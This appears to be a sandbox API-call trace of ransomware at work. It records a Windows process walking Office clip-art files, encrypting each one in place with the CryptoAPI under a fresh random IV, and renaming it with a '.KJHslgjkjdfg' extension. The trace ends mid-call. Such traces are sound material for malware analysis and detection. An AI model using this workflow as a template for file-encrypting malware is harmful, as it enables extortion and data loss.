[0204.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.386] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0204.388] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.388] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.388] GetProcessHeap () returned 0x990000 [0204.388] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.388] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.389] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.389] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.389] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.389] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.389] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.389] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.389] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.389] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.389] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1384, lpOverlapped=0x0) returned 1 [0204.390] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390, dwBufLen=0x1390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390) returned 1 [0204.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.390] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1390, lpOverlapped=0x0) returned 1 [0204.391] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.391] SetEndOfFile (hFile=0x130) returned 1 [0204.393] GetProcessHeap () returned 0x990000 [0204.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.393] GetProcessHeap () returned 0x990000 [0204.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.394] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.kjhslgjkjdfg")) returned 1 [0204.395] CloseHandle (hObject=0x130) returned 1 [0204.395] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc013d500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc013d500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00330_.WMF", cAlternateFileName="")) returned 1 [0204.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.396] GetProcessHeap () returned 0x990000 [0204.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.396] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.396] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0204.398] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.398] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.399] GetProcessHeap () returned 0x990000 [0204.399] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.399] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.399] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.399] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.399] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.399] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.399] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.399] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.400] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x864, lpOverlapped=0x0) returned 1 [0204.400] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x870, dwBufLen=0x870 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x870) returned 1 [0204.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.400] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x870, lpOverlapped=0x0) returned 1 [0204.400] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.400] SetEndOfFile (hFile=0x130) returned 1 [0204.403] GetProcessHeap () returned 0x990000 [0204.403] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.403] GetProcessHeap () returned 0x990000 [0204.403] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.kjhslgjkjdfg")) returned 1 [0204.404] CloseHandle (hObject=0x130) returned 1 [0204.404] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580ec000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x580ec000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00388_.WMF", cAlternateFileName="")) returned 1 [0204.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.405] GetProcessHeap () returned 0x990000 [0204.405] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.405] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.405] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0204.407] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.407] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.407] GetProcessHeap () returned 0x990000 [0204.407] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.407] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.407] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.407] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.408] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.408] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.408] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.408] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.408] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.408] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.408] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1172, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1172, lpOverlapped=0x0) returned 1 [0204.409] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1180, dwBufLen=0x1180 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1180) returned 1 [0204.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.409] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1180, lpOverlapped=0x0) returned 1 [0204.409] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.410] SetEndOfFile (hFile=0x130) returned 1 [0204.412] GetProcessHeap () returned 0x990000 [0204.412] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.412] GetProcessHeap () returned 0x990000 [0204.412] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.kjhslgjkjdfg")) returned 1 [0204.414] CloseHandle (hObject=0x130) returned 1 [0204.414] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c25e800, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c25e800, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x20ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00389_.WMF", cAlternateFileName="")) returned 1 [0204.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.415] GetProcessHeap () returned 0x990000 [0204.415] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.415] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.415] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0204.418] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.418] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.418] GetProcessHeap () returned 0x990000 [0204.418] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.418] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.418] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.418] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.418] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.418] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.418] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.418] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.419] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.419] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.419] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x20ca, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x20ca, lpOverlapped=0x0) returned 1 [0204.420] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20d0, dwBufLen=0x20d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20d0) returned 1 [0204.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.420] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x20d0, lpOverlapped=0x0) returned 1 [0204.420] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.420] SetEndOfFile (hFile=0x130) returned 1 [0204.423] GetProcessHeap () returned 0x990000 [0204.423] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.423] GetProcessHeap () returned 0x990000 [0204.423] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.kjhslgjkjdfg")) returned 1 [0204.424] CloseHandle (hObject=0x130) returned 1 [0204.424] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af4bb00, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5af4bb00, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00390_.WMF", cAlternateFileName="")) returned 1 [0204.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.426] GetProcessHeap () returned 0x990000 [0204.426] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.426] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0204.428] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.428] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.428] GetProcessHeap () returned 0x990000 [0204.428] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.428] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.428] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.428] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.428] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, 